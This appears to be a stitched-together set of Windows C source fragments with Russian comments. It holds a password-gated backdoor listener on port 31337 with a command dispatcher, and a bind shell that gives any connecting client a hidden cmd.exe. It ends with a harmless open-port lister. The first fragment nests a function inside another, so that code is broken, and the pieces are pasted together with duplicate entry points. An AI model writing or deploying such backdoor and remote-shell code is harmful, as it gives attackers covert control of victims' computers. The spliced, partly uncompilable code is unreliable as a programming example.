#include <winsock2.h>
#include <windows.h>

DWORD WINAPI InitWinSock2API(){
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
return 0; 
}


DWORD WINAPI Backdoor_Recv(LPVOID lpParam){

	DWORD WINAPI ClientSend(char * data, socket sock){
send(sock, data, lstrlen(data),0);
closesocket(sock); 
ZeroMemory (&data, sizeof(data)); 
return 0; 
}

SOCKET      sock=(SOCKET)lpParam;
char        recvbuffer[1024];
int         ret, freq, times, rand1, rand2;
					
while(1){
ZeroMemory (&recvbuffer, sizeof(recvbuffer));
ret = recv(sock, recvbuffer, 1024, 0); 
if (ret == SOCKET_ERROR) break; else 
if(lstrlen(recvbuffer) > 0){
char * array[1024]; 
char * t = strtok(recvbuffer,"ђ");
int i; int portint; 
for(i = 0; t; t = strtok(NULL,"ђ"), i++){ array[i] = t; } 
if (lstrcmp(array[0], "login:password")==0){
if (lstrcmp(array[1], "msgbox")==0){ 
char * msg = array[2];    // получаем 2 и 3 элемент массива 
char * title = array[3];  // и заголовок messagebox.
MessageBox(0,msg,title,0); // выводим messagebox.
ClientSend("messagebox ok", sock);
}

// пример вашей команды:
// else if(lstrcmp(array[1], "ваша_команда")==0)
// { 
//   ...
// }
else{
// отсылаем клиенту сообщение "unknown command"
ClientSend("unknown command", sock);
}
} else  {
ClientSend("authorization failed", sock);
}
}
}
return 0; 
}



DWORD WINAPI Backdoor_Listen(short port){
SOCKET			server, client;         // сокеты для клиента и сервера
SOCKADDR_IN		localaddr, clientaddr;  // структуры для клиента и сервера
HANDLE			hThread;                // хэндл потока 

int clientSize=sizeof(clientaddr); 
						  
server=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
						  
localaddr.sin_addr.s_addr=htonl(INADDR_ANY);// любом сетевом интерфейсе;
localaddr.sin_family=AF_INET;               // работаем с интернетом;
localaddr.sin_port=htons(port);             // присвайваем порт;

bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr));

listen(server, SOMAXCONN); 

while(1){
client=accept(server,(struct sockaddr *)&clientaddr,&clientSize);

hThread = StartThread(Backdoor_Recv,(LPVOID)client); 
CloseHandle(hThread);
} 

closesocket(server); // закрываем сокет

return 0;
}

HANDLE WINAPI StartThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID param){
DWORD lpThreadId; 
return CreateThread(NULL, NULL, lpStartAddress, param, NULL, &lpThreadId);
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
									 LPSTR lpCmdLine, int nCmdShow){			
InitWinSock2API();      // инициализируем WinSock2 API
Backdoor_Listen(31337); // Ставим порт на прослушку и подключаем клиентов:
// WSACleanup(); // по завершению работы заканчиваем работу с Winsock2
}

#include "winsock2.h"
#pragma comment(linker,"/SECTION:.text,EWR") 
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment( linker, "/defaultlib:ws2_32.lib" )
DWORD WINAPI ClientURA(HANDLE HCmd);
DWORD WINAPI ClientURA(
  HANDLE HCmd
)
{
     STARTUPINFO st; 
     PROCESS_INFORMATION pt;

     
          st.cb = sizeof(STARTUPINFO);
          st.lpReserved = NULL;
          st.lpTitle = NULL;
          st.lpDesktop = NULL;
          st.lpReserved2 = NULL;
          st.cbReserved2 = 0;
          st.wShowWindow = SW_HIDE;
          st.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
          st.hStdInput = HCmd;
          st.hStdOutput = HCmd;
          st.hStdError = HCmd;
          CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&st,&pt);
          CloseHandle(HCmd);
          CloseHandle(pt.hProcess);
          CloseHandle(pt.hThread);
     return 0;
}
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
     int sock;
     SOCKET AcceptS;
     struct sockaddr_in s;
     WSADATA wsa;
     WSAStartup( MAKEWORD( 2, 2 ), &wsa );
     sock = WSASocketA(PF_INET,SOCK_STREAM,0,NULL,0,0);
     s.sin_family = AF_INET;
     s.sin_addr.s_addr = htonl( INADDR_ANY);
     s.sin_port = htons( 31337 );
     bind(sock,(SOCKADDR*)&s,sizeof(s));
	int i;
	char type[2], buf[126];
     listen( sock, 0 );
     while (1){
		  AcceptS = accept(sock,NULL,NULL);
 CreateThread( NULL, 0,
               (LPTHREAD_START_ROUTINE)ClientURA,
               (LPVOID)AcceptS,
               NULL, NULL );
		 
		  
	 }
     return 0;
		}

#include <Winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include <conio.h>
#include <Tlhelp32.h>
#include <psapi.h>

#pragma comment ( lib, "Iphlpapi.lib" )
#pragma comment ( lib, "Ws2_32.lib" )
#pragma comment ( lib, "psapi.lib" )

typedef struct _MIB_TCPROW_EX
{
DWORD dwState; // MIB_TCP_STATE_*
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
DWORD dwProcessId;
} MIB_TCPROW_EX, *PMIB_TCPROW_EX;

typedef struct _MIB_TCPTABLE_EX
{
DWORD dwNumEntries;
MIB_TCPROW_EX table[ANY_SIZE];
} MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;

typedef struct _MIB_UDPROW_EX
{
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwProcessId;
} MIB_UDPROW_EX, *PMIB_UDPROW_EX;

typedef struct _MIB_UDPTABLE_EX
{
DWORD dwNumEntries;
MIB_UDPROW_EX table[ANY_SIZE];
} MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;

typedef DWORD (WINAPI *PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)(PMIB_TCPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETTCPEXTABLEFROMSTACK lpfnAllocateAndGetTcpExTableFromStack = NULL;

typedef DWORD (WINAPI *PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)(PMIB_UDPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETUDPEXTABLEFROMSTACK lpfnAllocateAndGetUdpExTableFromStack = NULL;

TCHAR *PrintProcessNameAndID( DWORD processID )
{
   	TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
    // Get a handle to the process.
    HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
    // Get the process name.
    if (NULL != hProcess )
    {
        HMODULE hMod;
        DWORD cbNeeded;

        if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
        {
            GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
        }
    }

    CloseHandle( hProcess );
		
	return (TCHAR *)&szProcessName;
}

int main()
{
	PMIB_TCPTABLE_EX pTcpTableEx;
	PMIB_UDPTABLE_EX pUdpTableEx;
	DWORD dwSize = 0,dwSizeUDP = 0;
	DWORD i = 0,j = 0;
	DWORD dwTcpErr,dwUdpErr;
	DWORD pid;
	char *ip_ptr,*ip_udp_ptr;
	unsigned short *port_ptr,*port_udp_ptr;
	HMODULE hMudule;
	
	hMudule = LoadLibrary("Iphlpapi.dll");

	if(hMudule == NULL) return 0;

	lpfnAllocateAndGetTcpExTableFromStack = (PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetTcpExTableFromStack");
	lpfnAllocateAndGetUdpExTableFromStack = (PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetUdpExTableFromStack");

	if (lpfnAllocateAndGetTcpExTableFromStack == NULL) return 0;
	if (lpfnAllocateAndGetUdpExTableFromStack == NULL) return 0;

	pTcpTableEx = (MIB_TCPTABLE_EX *) malloc(sizeof(MIB_TCPTABLE_EX));
	if(pTcpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pTcpTableEx); }

	pUdpTableEx = (MIB_UDPTABLE_EX *) malloc(sizeof(MIB_UDPTABLE_EX));
	if(pUdpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pUdpTableEx); }

	dwTcpErr = lpfnAllocateAndGetTcpExTableFromStack(&pTcpTableEx,TRUE,GetProcessHeap(),0,2);
	dwUdpErr = lpfnAllocateAndGetUdpExTableFromStack(&pUdpTableEx,TRUE,GetProcessHeap(),0,2);
	
	if(dwTcpErr == ERROR_SUCCESS)
	{
		printf("\n\nOpened TCP Ports\n");
		printf("----------------\n\n");
		for(i=0; i<pTcpTableEx->dwNumEntries;i++)
		{
			ip_ptr = (char *)&pTcpTableEx->table[i].dwLocalAddr;
			port_ptr = (unsigned short *)&pTcpTableEx->table[i].dwLocalPort;
			pid = pTcpTableEx->table[i].dwProcessId;
			if(pid == 4)
			{
			printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr));
			}
			else
			{
				printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr),PrintProcessNameAndID(pid));
			}
		}
	}

	if(dwUdpErr == ERROR_SUCCESS)
	{
		printf("\n\nOpened UDP Ports\n");
		printf("----------------\n\n");
		for(i=0; i<pUdpTableEx->dwNumEntries;i++)
		{
			ip_udp_ptr = (char *)&pUdpTableEx->table[i].dwLocalAddr;
			port_udp_ptr = (unsigned short *)&pUdpTableEx->table[i].dwLocalPort;
			pid = pUdpTableEx->table[i].dwProcessId;
			if(pid == 4)
			{
			printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr));
			}
			else
			{
				printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr),PrintProcessNameAndID(pid));
			}
		}
	}

	printf("\n\nPress any key to exit...");
	_getch();

	return 0;
}